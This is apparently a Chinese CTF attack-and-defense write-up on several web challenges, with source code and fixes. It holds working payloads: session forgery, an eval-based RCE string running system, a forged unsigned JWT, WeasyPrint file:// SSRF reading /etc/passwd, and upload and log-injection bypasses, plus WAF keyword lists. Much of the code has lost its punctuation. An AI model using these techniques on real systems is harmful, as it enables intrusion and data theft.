if (isset($_POST[submit])) {if (file_exists(UPLOAD_PATH)) {$deny_ext array(.jpg,.png,.jpeg); //【修改点一】$file_name trim($_FILES[upload_file][name]);$file_ext strrchr($file_name, .);$file_ext strtolower($file_ext); //转换为小写$file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA$file_ext trim($file_ext); //收尾去空if (in_array($file_ext, $deny_ext)substr_count($_FILES[upload_file][name], .)1) {//【修改点二】$temp_file $_FILES[upload_file][tmp_name];$img_path UPLOAD_PATH./.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload true;} else {$msg 上传出错;}} else {$msg 此文件不允许上传!;}} else {$msg UPLOAD_PATH . 文件夹不存在,请手工创建;}
}
?div idupload_panelform enctypemultipart/form-data methodpost onsubmitreturn checkFile()p请选择要上传的图片pinput classinput_file typefile nameupload_file/input classbutton typesubmit namesubmit value上传//formdiv idmsg?phpif($msg ! null){echo 提示.$msg;}?/divdiv idimg?phpif($is_upload){echo img src.$img_path. width250px /;}?/div
/div赛后和师傅们讨论了发现除了我那种Apache解析漏洞的做法还能通过.htaccess配置文件修改配置项解析png等格式的图片。属于是一题多解了两个都不是非预期都会check。
[羊城杯-2023-决赛] BabyMemo (Break)
这题的话知识点就是php的session。主要考察的是代码逻辑漏洞题目源码中本来用于过滤非法字符串../的功能经过一系列操作之后可以用于伪造session文件。
注自己部署的话记得在index.php中加一句session_start();
memo翻译过来是备忘录。 源码见fix。
主要是memo.php中的这两段代码。
1、给我们定义任意后缀的权力但是过滤了../。 然后把文件写入/tmp目录也是存放session文件的目录文件名是用户名_随机数.后缀。下图是比赛时的一张截图。 这里先放一部分思路就是我们自定义后缀名为./时候文件名是用户名_随机数../经过过滤替换后变成用户名_随机数。
php的session是存放在文件中的 默认位置是/tmp/sess_PHPSESSID。如果用户名是sessPHPSESSID设置成随机数那么文件名就是sess_PHPSESSID。我们写入的文件就代替了原先的session文件成为程序现在的session文件。
2、如果$_SESSION[admin] true那就给我们flag。 总结一下思路就是伪造session文件使$_SESSION[admin] true
当时题目用的session处理器就是默认的php处理器。session文件的内容和下图相似 我们伪造的文件内容应该是admin|b:1;username|s:4:sess;memos|a:2:{i:0;s:3:aaa;i:1;s:3:aaa;}
因为自定义后缀的话写入文件的内容是经过一次rot13编码的所以我们写入的应该是rot13解码后的内容nqzva|o:1;hfreanzr|f:4:frff;zrzbf|n:2:{v:0;f:3:nnn;v:1;f:3:nnn;} 点击下载抓包。然后我们自定义后缀写入、下载文件。
用户名sess
POST:compression./backup1文件被写入到了/tmp/sess_41983787c3a288d9 此时随机数是41983787c3a288d9如果我们把它设置成PHPSESSID那就导致刚刚我们写入的文件变成了session文件了文件内容admin|b:1导致我们可以满足$_SESSION[admin] true直接获得了flag。 [羊城杯-2023-决赛] BabyMemo (Fix)
初始源码
index.php
?php
ob_start();if ($_SERVER[REQUEST_METHOD] POST) {if (isset($_POST[username]) !empty($_POST[username])) {$_SESSION[username] $_POST[username];if (!isset($_SESSION[memos])) {$_SESSION[memos] [];}echo scriptwindow.location.hrefmemo.php;/script;exit;} else {echo scriptwindow.location.hrefindex.php?error1;/script;exit;}
}
ob_end_flush();
?
!DOCTYPE html
html langenheadmeta charsetUTF-8meta nameviewport contentwidthdevice-width, initial-scale1.0titleSimple Memo Website/titlestylebody {background-color: beige;font-family: Arial, sans-serif;}h1 {color: darkslategray;}form {margin: 30px auto;width: 80%;padding: 20px;background-color: white;border-radius: 10px;box-shadow: 0px 0px 10px 2px rgba(0, 0, 0, 0.3);}label {display: block;margin-bottom: 10px;}input[typetext] {width: 100%;padding: 10px;border-radius: 5px;border: none;margin-bottom: 20px;}button[typesubmit] {background-color: darkslategray;color: white;border: none;padding: 10px 20px;border-radius: 5px;cursor: pointer;}button[typesubmit]:hover {background-color: steelblue;}/style
/headbodyh1Login/h1form actionindex.php methodpostlabel forusernameUsername:/labelinput typetext nameusername idusername requiredbutton typesubmitLogin/button/form
/body/htmlmemo.php
?php
session_start();if (!isset($_SESSION[username])) {header(Location: index.php);exit();
}if (isset($_POST[memo]) !empty($_POST[memo])) {$_SESSION[memos][] $_POST[memo];
}if (isset($_POST[backup])) {$backupMemos implode(PHP_EOL, $_SESSION[memos]);$random bin2hex(random_bytes(8));$filename /tmp/ . $_SESSION[username] . _ . $random;// Handle compression method and file extension$compressionMethod $_POST[compression] ?? none;switch ($compressionMethod) {case gzip:$compressedData gzencode($backupMemos);$filename . .gz;$mimeType application/gzip;break;case bzip2:$compressedData bzcompress($backupMemos);$filename . .bz2;$mimeType application/x-bzip2;break;case zip:$zip new ZipArchive();$zipFilename $filename . .zip;if ($zip-open($zipFilename, ZipArchive::CREATE) true) {$zip-addFromString($filename, $backupMemos);$zip-close();}$filename $zipFilename;$mimeType application/zip;break;case none:$compressedData $backupMemos;$filename . .txt;$mimeType text/plain;break;default:// I dont know what extension this is, but Ill still give you the file. Dont play any tricks, okay~$compressedData str_rot13($backupMemos);$filename . . . $compressionMethod;$mimeType text/plain;while (strpos($filename, ../) ! false) {$filename str_replace(../, , $filename);}break;}file_put_contents($filename, $compressedData);// Send headers and output file contentheader(Content-Description: File Transfer);header(Content-Type: . $mimeType);header(Content-Disposition: attachment; filename . basename($filename) . );header(Content-Length: . filesize($filename));readfile($filename);
}
?
!DOCTYPE html
html langenheadmeta charsetUTF-8meta nameviewport contentwidthdevice-width, initial-scale1.0titleMemo/titlestylebody {background-color: beige;font-family: Arial, sans-serif;}h1,h2 {color: darkslategray;margin-top: 30px;margin-bottom: 10px;}form {margin: 30px auto;width: 80%;padding: 20px;background-color: white;border-radius: 10px;box-shadow: 0px 0px 10px 2px rgba(0, 0, 0, 0.3);}label {display: block;margin-bottom: 10px;}input[typetext],select {width: 100%;padding: 10px;border-radius: 5px;border: none;margin-bottom: 20px;}button[typesubmit] {background-color: darkslategray;color: white;border: none;padding: 10px 20px;border-radius: 5px;cursor: pointer;}/style
/headbodyh1Welcome, ?php echo htmlspecialchars($_SESSION[username]); ?/h1form actionmemo.php methodpostlabel formemoNew Memo:/labelinput typetext namememo idmemo requiredbutton typesubmitAdd Memo/button/formh2Here 1s Your Memos:/h2ul?php foreach ($_SESSION[memos] as $memo) : ?li?php echo htmlspecialchars($memo); ?/li?php endforeach; ??php if (isset($_SESSION[admin]) $_SESSION[admin] true) : ?li?php system(cat /flag); ?/li !-- Only admin can get flag --?php endif ?/ulform actionmemo.php methodpostlabel forcompressionCompression method:/labelselect namecompression idcompressionoption valuenoneNone/optionoption valuegzipGZIP/optionoption valuebzip2BZIP2/optionoption valuezipZIP/option/selectbutton typesubmit namebackup value1Export Backup/button/form
/body/html未知攻焉知防。会打的话其实过滤很简单对用户名加一个限制使其不等于sess就行了。
index.php加个waf就行了。
?php
ob_start();if ($_SERVER[REQUEST_METHOD] POST) {if (isset($_POST[username]) !empty($_POST[username])) {if($_POST[username]!sess){$_SESSION[username] $_POST[username];}if (!isset($_SESSION[memos])) {$_SESSION[memos] [];}echo scriptwindow.location.hrefmemo.php;/script;exit;} else {echo scriptwindow.location.hrefindex.php?error1;/script;exit;}
}
ob_end_flush();
?[羊城杯-2023-决赛] fuzee_rce (Break)
爆破得出账号admin密码admin123 登录后自动跳转到/goods.php路由看不见源码啥都看不见。
扫了一下后台还存在一个check.php文件应该是用来限制RCE过滤的。 看不见源码的话猜测这里是和[羊城杯 2020]easyser那题一样需要自己找到传参名字然后题目才会返回更多的信息。Fix阶段看了一下源码确实如此需要GET传参对应参数后才会高亮源码。
一开始拿arjun工具扫了一下没有发现参数。其实应该直接拿burp爆破的。
arjun -u http://10.1.110.2:20003/goods.php接下来是部署在本地的复现。
首先是在/goods.php路由暴力爆破参数。得到参数是w1key。爆破量有点大burp太慢的话可以拿python脚本爆
题目中GET提交w1key参数得到源码。 ?php
error_reporting(0);
include (check.php);
if (isset($_GET[w1key])) {highlight_file(__FILE__);$w1key $_GET[w1key];if (is_numeric($w1key) intval($w1key) $w1key strlen($w1key) 3 $w1key 999999999) {echo good;} else {die(Please input a valid number!);}
}
if (isset($_POST[w1key])) {$w1key $_POST[w1key];strCheck($w1key);eval($w1key);
}
? 首先是第一个ifGET提交的w1key要满足is_numeric($w1key) intval($w1key) $w1key strlen($w1key) 3 $w1key 999999999。
聚焦到最后两个条件首先想到的就是科学计数法。payload?w1key1e9。
但是奇怪的是这个payload本地可以过题目过不了嘶。 修改一下vps上的源码看看是哪个条件没过。
发现是intval($w1key) $w1key条件不满足。 这个判断如果改成intval(1e9) 1e9就返回true。
研究了一下是php版本问题。把我部署题目的vps上的php版本改成7就可以了当然我本地就是php7。 payload
?w1key1e9原理
is_numeric($w1key) //is_numeric函数可识别科学计数法
intval($w1key) $w1key //intval(1e9) 1$w1key 1e9 1
strlen($w1key) 3 //1e9 长度是3
$w1key 999999999 //1e9 值是1000000000多1然后是第二个ifburp跑一下单个字符的fuzz看看哪些能用。可以用的字符是 、.、;、、/、[]、、$、()、、/、_ 一看就是自增RCEpayload库里面挑一个合适的。
$%ff_(%ff/%ff)[%ff];%2b%2b$%ff;$_$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$__.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);
//传参是 %ffsystem_cat /f1agaaapayload
GET?w1key1e9POSTw1key$%ff_(%ff/%ff)[%ff];%2b%2b$%ff;$_$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$__.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);%ffsystem_tac /flagwaf源码如下。 [羊城杯-2023-决赛] fuzee_rce (Fix)
初始源码
goods.php文件
?php
error_reporting(0);
include (check.php);
if (isset($_GET[w1key])) {highlight_file(__FILE__);$w1key $_GET[w1key];if (is_numeric($w1key) intval($w1key) $w1key strlen($w1key) 3 $w1key 999999999) {echo good;} else {die(Please input a valid number!);}
}
if (isset($_POST[w1key])) {$w1key $_POST[w1key];strCheck($w1key);eval($w1key);
}
?
check.php文件
?php
function strCheck($w1key)
{if (is_string($w1key) strlen($w1key) 83) {if (!preg_match(/[1-9a-zA-Z!,#^%*:{}\-\?\|~\\\\]/,$w1key)){return $w1key;}else{die(黑客是吧我看你怎么黑); }}else{die(太长了); }}
check.php文件多加点过滤就能fix。百分号%%一定要加
?php
function strCheck($w1key)
{if (is_string($w1key) strlen($w1key) 83) {if (!preg_match(/[1-9a-zA-Z!,#^%*:{}\-\?\|~\\\\_$();\%]/,$w1key)){return $w1key;}else{die(黑客是吧我看你怎么黑);}}else{die(太长了);}
}[羊城杯-2023-决赛] Oh! My PDF (Break)
python语言的部署本地倒是废了一些功夫。记录一下。
首先把源码包cv到vps上面。 然后把需要的库全安装好。
cd到源码放的目录下运行nohup python3 -u app.py out.log 21 。
如果报错OSError: cannot load library pango-1.0-0: pango-1.0-0: cannot open shared object file: No such file or directory. Additionally, ctypes.util.find_library() did not manage to locate a library called pango-1.0-0那就先运行命令apt-get install -y libpangocairo-1.0-0。其他的报错基本上是库没有。
成功运行nohup python3 -u app.py out.log 21 后同目录下会生成两个文件
检查out.log。发现题目源码是运行在了8080端口。 访问vps-ip:8080发现题目源码运行成功 坑点就是import jwt但是安装的包是PyJWT
重启服务ps -ef | grep python | grep -v grep | awk {print $2} | xargs kill -9
参考文章 如何优雅的部署Python应用到Linux服务器_python能否直接向linux储存文件_緈諨の約錠的博客-CSDN博客 Python代码部署到Linux亲测成功_python程序部署到linux_繁星、晚风的博客-CSDN博客 大码王的博客 (cnblogs.com) 手把手教你如何从零开始部署一个Python项目到服务器 - 知乎 (zhihu.com) 开始做题。源码如下
from flask import Flask, request, jsonify, make_response, render_template, flash, redirect, url_for
from flask_sqlalchemy import SQLAlchemy
import jwt
import re
from urllib.parse import urlsplit
from flask_weasyprint import HTML, render_pdf
from werkzeug.security import generate_password_hash, check_password_hash
import osapp Flask(__name__)# 设置应用的秘密密钥和数据库URI
app.config[SECRET_KEY] os.urandom(10)
app.config[SQLALCHEMY_DATABASE_URI] sqlite:///users.db# 初始化数据库
db SQLAlchemy(app)# 正则表达式用于检查URL的有效性
URL_REGEX re.compile(rhttp(s)?:// # http或httpsr(?:[a-zA-Z]|[0-9]|[$-_.]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))
)# 用户模型
class User(db.Model):id db.Column(db.Integer, primary_keyTrue)username db.Column(db.String(80), uniqueTrue, nullableFalse)password db.Column(db.String(80), nullableFalse)is_admin db.Column(db.Boolean, nullableFalse, defaultFalse)# 创建数据库
def create_database(app):with app.app_context():db.create_all()# 检查URL的有效性
def is_valid_url(url):if not URL_REGEX.match(url):return Falsereturn True# 用户注册
app.route(/register, methods[POST,GET])
def register():if request.method POST:try:data request.formhashed_password generate_password_hash(data[password])new_user User(usernamedata[username], passwordhashed_password, is_adminFalse)db.session.add(new_user)db.session.commit()return render_template(register.html, messageUser registered successfully)except:return render_template(register.html, messageRegister Error!), 500else:return render_template(register.html, messageplease register first!)# 用户登录
app.route(/login, methods[POST, GET])
def login():# 处理针对 /login 路径的 HTTP GET 和 POST 请求if request.method POST:# 如果是 POST 请求表示用户正在尝试登录data request.form # 获取从用户提交的表单中获取的数据# 通过用户名从数据库中查找用户记录user User.query.filter_by(usernamedata[username]).first()# 检查用户是否存在且密码是否匹配if user and check_password_hash(user.password, data[password]):# 如果用户存在且密码匹配# 生成访问令牌JWT包括用户名和是否为管理员的信息access_token jwt.encode({username: user.username, isadmin: False},app.config[SECRET_KEY], # 使用配置的密钥进行签名algorithmHS256 # 使用 HS256 算法进行签名)# 创建一个 Flask 响应对象重定向到名为 ohmypdf 的路由res make_response(redirect(url_for(ohmypdf)))# 在响应中设置 Cookie将访问令牌存储在客户端res.set_cookie(access_token, access_token)# 返回响应和状态码 200表示成功return res, 200else:# 如果用户不存在或密码不匹配返回带有错误消息的登录页面和状态码 500服务器内部错误return render_template(login.html, messageInvalid username or password), 500else:# 如果是 HTTP GET 请求返回登录页面return render_template(login.html), 200# 主页,关键看这里
app.route(/, methods[GET, POST])
def ohmypdf():# 从请求中获取访问令牌如果存在access_token request.cookies.get(access_token)if not access_token:# 如果没有访问令牌将用户重定向到登录页面return redirect(url_for(login))try:# 尝试解码访问令牌使用应用程序的秘密密钥和HS256算法decoded_token jwt.decode(access_token, app.config[SECRET_KEY], algorithms[HS256], options{verify_signature: False})isadmin decoded_token[isadmin]except:# 如果解码失败返回登录页面并显示“Invalid access token”消息return render_template(login.html, messageInvalid access token)if not isadmin:# 如果用户不具有管理员权限返回错误页面HTTP状态码为403 Forbiddenreturn render_template(index.html, messageYou do not have permission to access this resource. Where is the admin?!), 403if request.method POST:# 如果收到【POST】请求的参数【url】url request.form.get(url)if is_valid_url(url):try:# 创建HTML对象从给定的URL获取内容html HTML(urlurl)# 生成PDF文件名字是output.pdfpdf html.write_pdf()response make_response(pdf)response.headers[Content-Type] application/pdfresponse.headers[Content-Disposition] attachment; filenameoutput.pdfreturn responseexcept Exception as e:# 如果生成PDF出错返回错误消息HTTP状态码为500 Internal Server Errorreturn fError generating PDF, 500else:# 如果URL无效返回错误消息return fInvalid URL!else:# 如果是GET请求渲染名为“index.html”的模板并返回return render_template(index.html), 200if __name__ __main__:create_database(app)app.run(host0.0.0.0, port8080)
先简要说明一下全题思路。
注册登录用户后伪造JWT使自己成为admin。然后利用Python中WeasyPrint库的漏洞读取任意文件。 首先伪造JWT这里密钥由os.urandom(10)生成无法预测。
但是看源码如何解密JWT的没有验证密钥。所以这里的JWT可以用空密钥来伪造。
# 尝试解码访问令牌使用应用程序的秘密密钥和HS256算法
decoded_token jwt.decode(access_token, app.config[SECRET_KEY], algorithms[HS256], options{verify_signature: False})isadmin decoded_token[isadmin] 先看看JWT构成。 然后用脚本伪造空密钥isadmin为true的JWT。
import base64def jwtBase64Encode(x):return base64.b64encode(x.encode(utf-8)).decode().replace(, -).replace(/, _).replace(, )
header {typ: JWT,alg: HS256}
payload {username: admin,isadmin: true}print(jwtBase64Encode(header).jwtBase64Encode(payload).)#eyJ0eXAiOiAiSldUIiwiYWxnIjogIkhTMjU2In0.eyJ1c2VybmFtZSI6ICJhZG1pbiIsImlzYWRtaW4iOiB0cnVlfQ.显然现在我们已经是admin了。 然后就是利用Python中WeasyPrint库的漏洞读取任意文件这部分的原题是[FireshellCTF2020]URL TO PDF。
先看看对输入URL的限制。is_valid_url(url)is_valid_url函数中又是用URL_REGEX.match(url)来判断的。归根结底我们输入的url要满足以下正则表达式。
URL_REGEX re.compile(rhttp(s)?:// # http或httpsr(?:[a-zA-Z]|[0-9]|[$-_.]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))
)这段正则表达式 函数URL_REGEX() 用于匹配 URL 地址。下面是它的具体含义
http(s)?://: 匹配以 “http://” 或 “https://” 开头的部分。其中 (s)? 表示 “s” 字符可选即匹配 “http://” 或 “https://”。(?: ... ): 这是一个非捕获分组用于匹配一个或多个字符。它包含了以下内容 [a-zA-Z]: 匹配大小写字母。[0-9]: 匹配数字。[$-_.]: 匹配一些特殊字符包括 “$”, “-”, “_”, “”, “.”, “”, “”。[!*\(\),]: 匹配一些其他特殊字符包括 “!”, “*”, “(”, “)”, “,”。(?:%[0-9a-fA-F][0-9a-fA-F]): 匹配以 “%” 开头的两位十六进制数通常用于 URL 编码。
综合起来这个正则表达式可以有效地匹配标准的 URL 地址包括常见的字符和特殊字符。所以说我们只能输入http(s)://什么什么不能直接使用伪协议file:///etc/passwd。
然后就是利用WeasyPrint库的漏洞了。
做题时候如果看不见源码怎么验证是WeasyPrint库vps开个监听然后PDF转换器访问对应端口即可。可以看见在U-A头里面能看见WeasyPrint这也算是一种特征。 WeasyPrint 是一个 Python 的虚拟 HTML 和 CSS 渲染引擎可以用来将网页转成 PDF 文档。旨在支持 Web 标准的打印。
WeasyPrint使用了自己定义的一套HTML标签使得无法在其上执行JS。但是WeasyPrint会把所有它支持的东西 都请求一遍然后放在 PDF 里。
这里出现了漏洞WeasyPrint可以解析解析 link标签当你使用link标签时他会把标签指向的内容给下下来返回在PDF内。我们在 link 标签内 href 加载 file:// 就可以实现 SSRF 任意文件读取。
开始实战
vps上放一个link.html内容如下
!DOCTYPE html
html langen
headmeta charsetUTF-8
/head
body
link relattachment hreffile:///etc/passwd
/body
/html接下来用PDF生成器访问http://vps-ip/link.html 下载下来的 PDF虽说没有显示但是放到binwalk -e 文件名后打开解压的文件 中看确实能看到file://协议读取到的内容提取出即可。 同理我们把link relattachment hreffile:///etc/passwd换成link relattachment hreffile:///flag就能读取flag文件。
参考文章 挖洞经验 | 打车软件Lyft费用报告导出功能的SSRF漏洞 - FreeBuf网络安全行业门户 Hackerone 50m-ctf writeup第二部分 - 先知社区 (aliyun.com) HackerOne的ssrf漏洞报告 | CN-SEC 中文网 深入浅出SSRF二我的学习笔记 | 悠远乡 (1dayluo.github.io) 从PDF导出到SSRF | CTF导航 (ctfiot.com) [FireshellCTF2020]web wp | Z3ratu1’s blog [BUUCTF][FireshellCTF2020]URL TO PDF_Y4tacker的博客-CSDN博客 [FireshellCTF2020]URL_TO_PDF (proben1.github.io) **做后补充**做完想到当时决赛是断网的不能使用vps。问了一下tel爷我们可以在自己插网线的机器上开http因为和服务器同属于一个内网访问ip可以访问到。
[羊城杯-2023-决赛] Oh! My PDF (Fix)
初始源码
from flask import Flask, request, jsonify, make_response, render_template, flash, redirect, url_for
from flask_sqlalchemy import SQLAlchemy
import jwt
import re
from urllib.parse import urlsplit
from flask_weasyprint import HTML, render_pdf
from werkzeug.security import generate_password_hash, check_password_hash
import osapp Flask(__name__)app.config[SECRET_KEY] os.urandom(10)
app.config[SQLALCHEMY_DATABASE_URI] sqlite:///users.dbdb SQLAlchemy(app)URL_REGEX re.compile(rhttp(s)?:// # http or httpsr(?:[a-zA-Z]|[0-9]|[$-_.]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))
)class User(db.Model):id db.Column(db.Integer, primary_keyTrue)username db.Column(db.String(80), uniqueTrue, nullableFalse)password db.Column(db.String(80), nullableFalse)is_admin db.Column(db.Boolean, nullableFalse, defaultFalse)def create_database(app):with app.app_context():db.create_all()def is_valid_url(url):if not URL_REGEX.match(url):return Falsereturn Trueapp.route(/register, methods[POST,GET])
def register():if request.method POST:try:data request.formhashed_password generate_password_hash(data[password])new_user User(usernamedata[username], passwordhashed_password, is_adminFalse)db.session.add(new_user)db.session.commit()return render_template(register.html,messageUser registered successfully)except:return render_template(register.html,messageRegister Error!),500else:return render_template(register.html,messageplease register first!)app.route(/login, methods[POST,GET])
def login():if request.method POST:data request.formuser User.query.filter_by(usernamedata[username]).first()if user and check_password_hash(user.password, data[password]):access_token jwt.encode({username: user.username, isadmin:False}, app.config[SECRET_KEY], algorithmHS256)res make_response(redirect(url_for(ohmypdf)))res.set_cookie(access_token,access_token)return res, 200else:return render_template(login.html,messageInvalid username or password), 500else:return render_template(login.html), 200app.route(/, methods[GET, POST])
def ohmypdf():access_token request.cookies.get(access_token)if not access_token:return redirect(url_for(login))try:decoded_token jwt.decode(access_token, app.config[SECRET_KEY], algorithms[HS256],options{verify_signature: False})isadmin decoded_token[isadmin]except:return render_template(login.html,messageInvalid access token)if not isadmin:return render_template(index.html,messageYou do not have permission to access this resource. Where is the admin?!), 403if request.method POST:url request.form.get(url)if is_valid_url(url):try:html HTML(urlurl)pdf html.write_pdf()response make_response(pdf)response.headers[Content-Type] application/pdfresponse.headers[Content-Disposition] attachment; filenameoutput.pdfreturn responseexcept Exception as e:return fError generating PDF, 500else:return fInvalid URL!else:return render_template(index.html), 200if __name__ __main__:create_database(app)app.run(host0.0.0.0, port8080)
这题暂时没打听到哪位佬修出来了。个人感觉可以从jwt检验密钥、检验转PDF文件内容、禁止加载html文件、换一个PDF库这些方面入手。
[CISCN 2024 华东南] welcome (Break)
CtrlU拿到flag [CISCN 2024 华东南] submit (Break)
文件上传简单绕过
绕过就两个一个MIMA头一个等号换php短标签 [CISCN 2024 华东南] submit (Fix)
修两个点一个是后缀检验一个是waf增加
?php
// $path ./uploads;
error_reporting(0);
$path ./uploads;
$content file_get_contents($_FILES[myfile][tmp_name]);
$allow_content_type array(image/png);
$type $_FILES[myfile][type];
if (!in_array($type, $allow_content_type)) {die(只允许png哦!br);
}//修改点1
$allow_ext array(.png);
$file_name$_FILES[myfile][name];
$_FILES[myfile][name] str_replace(.ph,,$_FILES[myfile][name]);
$file_ext strrchr($file_name, .);
$file_ext strtolower($file_ext); //转换为小写
$file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA
$file_ext trim($file_ext); //收尾去空
if (!in_array($file_ext, $allow_ext)) {die(只允许png哦!br);
}//修改点2
if (preg_match(/(php|script|xml|user|htaccess|\\?|\\?\|eval|system|assert|fllllagg|f\*|\/f|cat|POST|GET|\$\_|exec)/i, $content)) {// echo 匹配成功!;die(鼠鼠说你的内容不符合哦0-0);
} else {$file $path . / . $_FILES[myfile][name];echo $file;if (move_uploaded_file($_FILES[myfile][tmp_name], $file)) {file_put_contents($file, $content);echo Success!br;} else {echo Error!br;}
}
?
[CISCN 2024 华东南] 粗心的程序员 (Break)
www.zip源码泄露。简单代码审计和逻辑漏洞
简单扫一眼开了sql的PDO但是最后没用上
主要漏洞文件 贴一下代码
?php
error_reporting(0);
include default_info_auto_recovery.php;
session_start();
$p $_SERVER[HTTP_X_FORWARDED_FOR]?:$_SERVER[REMOTE_ADDR];
if (preg_match(/\?|php|:/i,$p))
{die();
}
$time date(Y-m-d h:i:s, time());
$username $_SESSION[username];
$id $_SESSION[id];
if ($username $id){echo Hello,.$username;$str //登陆时间$time,$username $p;$str str_replace(\n,,$str);file_put_contents(config.php,file_get_contents(config.php).$str);
}else{die(NO ACCESS);
}
?
br
script typetext/javascript srcjs/jquery-1.9.0.min.js/script
script typetext/javascript srcjs/jquery.base64.js/script
scriptfunction submitData(){var obj new Object();obj.name $(#newusername).val();var str $.base64.encode(JSON.stringify(obj.name).replace(\,).replace(\,));$.post(edit.php,{newusername: str},function(str){alert(str);location.reload()});}jQuery.base64 (function($) {var keyStr ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789/;function utf8Encode(string) {string string.replace(/\r\n/g,\n);var utftext ;for (var n 0; n string.length; n) {var c string.charCodeAt(n);if (c 128) {utftext String.fromCharCode(c);}else if((c 127) (c 2048)) {utftext String.fromCharCode((c 6) | 192);utftext String.fromCharCode((c 63) | 128);}else {utftext String.fromCharCode((c 12) | 224);utftext String.fromCharCode(((c 6) 63) | 128);utftext String.fromCharCode((c 63) | 128);}}return utftext;}function encode(input) {var output ;var chr1, chr2, chr3, enc1, enc2, enc3, enc4;var i 0;input utf8Encode(input);while (i input.length) {chr1 input.charCodeAt(i);chr2 input.charCodeAt(i);chr3 input.charCodeAt(i);enc1 chr1 2;enc2 ((chr1 3) 4) | (chr2 4);enc3 ((chr2 15) 2) | (chr3 6);enc4 chr3 63;if (isNaN(chr2)) {enc3 enc4 64;} else if (isNaN(chr3)) {enc4 64;}output output keyStr.charAt(enc1) keyStr.charAt(enc2) keyStr.charAt(enc3) keyStr.charAt(enc4);}return output;}return {encode: function (str) {return encode(str);}};}(jQuery));/script
更改用户名input typetext namenewusername idnewusername value
button typesubmit onclicksubmitData() 更改/button
简单说一下思路
1、$str //登陆时间$time,$username $p;会被写入php文件file_put_contents(“config.php”,file_get_contents(“config.php”).$str);
2、既然是php写入了如果不是算注释的话就能执行
3、尝试写
4、用户名这边利用?进行截断注释的作用
5、$p这边进行写 [CISCN 2024 华东南] 粗心的程序员 (Fix)
源码如下
?php
error_reporting(0);
include default_info_auto_recovery.php;
session_start();
$p $_SERVER[HTTP_X_FORWARDED_FOR]?:$_SERVER[REMOTE_ADDR];
if (preg_match(/\?|php|:/i,$p))
{die();
}
$time date(Y-m-d h:i:s, time());
$username $_SESSION[username];
$id $_SESSION[id];
if ($username $id){echo Hello,.$username;$str //登陆时间$time,$username $p;$str str_replace(\n,,$str);file_put_contents(config.php,file_get_contents(config.php).$str);
}else{die(NO ACCESS);
}
?
br
script typetext/javascript srcjs/jquery-1.9.0.min.js/script
script typetext/javascript srcjs/jquery.base64.js/script
scriptfunction submitData(){var obj new Object();obj.name $(#newusername).val();var str $.base64.encode(JSON.stringify(obj.name).replace(\,).replace(\,));$.post(edit.php,{newusername: str},function(str){alert(str);location.reload()});}jQuery.base64 (function($) {var keyStr ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789/;function utf8Encode(string) {string string.replace(/\r\n/g,\n);var utftext ;for (var n 0; n string.length; n) {var c string.charCodeAt(n);if (c 128) {utftext String.fromCharCode(c);}else if((c 127) (c 2048)) {utftext String.fromCharCode((c 6) | 192);utftext String.fromCharCode((c 63) | 128);}else {utftext String.fromCharCode((c 12) | 224);utftext String.fromCharCode(((c 6) 63) | 128);utftext String.fromCharCode((c 63) | 128);}}return utftext;}function encode(input) {var output ;var chr1, chr2, chr3, enc1, enc2, enc3, enc4;var i 0;input utf8Encode(input);while (i input.length) {chr1 input.charCodeAt(i);chr2 input.charCodeAt(i);chr3 input.charCodeAt(i);enc1 chr1 2;enc2 ((chr1 3) 4) | (chr2 4);enc3 ((chr2 15) 2) | (chr3 6);enc4 chr3 63;if (isNaN(chr2)) {enc3 enc4 64;} else if (isNaN(chr3)) {enc4 64;}output output keyStr.charAt(enc1) keyStr.charAt(enc2) keyStr.charAt(enc3) keyStr.charAt(enc4);}return output;}return {encode: function (str) {return encode(str);}};}(jQuery));/script
更改用户名input typetext namenewusername idnewusername value
button typesubmit onclicksubmitData() 更改/button
$username和$p加waf就行怎么打的怎么加
?php
error_reporting(0);
include default_info_auto_recovery.php;
session_start();
$p $_SERVER[HTTP_X_FORWARDED_FOR]?:$_SERVER[REMOTE_ADDR];
//waf1
if (preg_match(/\?|php|:|system|cat|flaaaaaag|\*|eval|php/i,$p))
{die();
}
$time date(Y-m-d h:i:s, time());
$username $_SESSION[username];
$id $_SESSION[id];
//waf2
if (preg_match(/\?|\\?|php|:/i,$username))
{die();
}if ($username $id){echo Hello,.$username;$str //登陆时间$time,$username $p;$str str_replace(\n,,$str);file_put_contents(config.php,file_get_contents(config.php).$str);
}else{die(NO ACCESS);
}
?
br
script typetext/javascript srcjs/jquery-1.9.0.min.js/script
script typetext/javascript srcjs/jquery.base64.js/script
scriptfunction submitData(){var obj new Object();obj.name $(#newusername).val();var str $.base64.encode(JSON.stringify(obj.name).replace(\,).replace(\,));$.post(edit.php,{newusername: str},function(str){alert(str);location.reload()});}jQuery.base64 (function($) {var keyStr ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789/;function utf8Encode(string) {string string.replace(/\r\n/g,\n);var utftext ;for (var n 0; n string.length; n) {var c string.charCodeAt(n);if (c 128) {utftext String.fromCharCode(c);}else if((c 127) (c 2048)) {utftext String.fromCharCode((c 6) | 192);utftext String.fromCharCode((c 63) | 128);}else {utftext String.fromCharCode((c 12) | 224);utftext String.fromCharCode(((c 6) 63) | 128);utftext String.fromCharCode((c 63) | 128);}}return utftext;}function encode(input) {var output ;var chr1, chr2, chr3, enc1, enc2, enc3, enc4;var i 0;input utf8Encode(input);while (i input.length) {chr1 input.charCodeAt(i);chr2 input.charCodeAt(i);chr3 input.charCodeAt(i);enc1 chr1 2;enc2 ((chr1 3) 4) | (chr2 4);enc3 ((chr2 15) 2) | (chr3 6);enc4 chr3 63;if (isNaN(chr2)) {enc3 enc4 64;} else if (isNaN(chr3)) {enc4 64;}output output keyStr.charAt(enc1) keyStr.charAt(enc2) keyStr.charAt(enc3) keyStr.charAt(enc4);}return output;}return {encode: function 